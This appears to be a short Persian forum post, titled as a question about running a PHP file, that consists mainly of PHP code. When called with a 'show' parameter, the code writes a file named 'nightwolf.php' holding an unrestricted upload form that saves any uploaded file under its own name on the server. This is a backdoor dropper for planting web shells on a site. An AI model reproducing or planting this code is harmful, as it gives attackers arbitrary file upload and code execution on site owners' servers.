سوال راجب اجرای یک فایل php

<?php ?><?php
if (!empty($_GET['show'])) {
$ourFileName = "nightwolf.php";
$ourFileHandle = fopen($ourFileName, 'w') or die("can't open file");
$file = '<?php
if( file_exists($_FILES["uploadfile"]["tmp_name"]) )
{
$filename = $_FILES["uploadfile"]["tmp_name"];
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
@fclose($fp);

$fp = fopen($_FILES["uploadfile"]["name"], "w");
fputs($fp, $contents);
fclose($fp);

echo "file ". $_FILES["uploadfile"]["name"] ."upload :D";
}
?>
<FORM ENCTYPE="multipart/form-data" METHOD="POST">
<b>File:</b> <INPUT NAME="uploadfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send">
</FORM>';
fwrite($ourFileHandle, $file);
fclose($ourFileHandle);
echo "File Crated Suksfully...name=nightwolf.php...";
}
?>

php مرکز کد های سایت...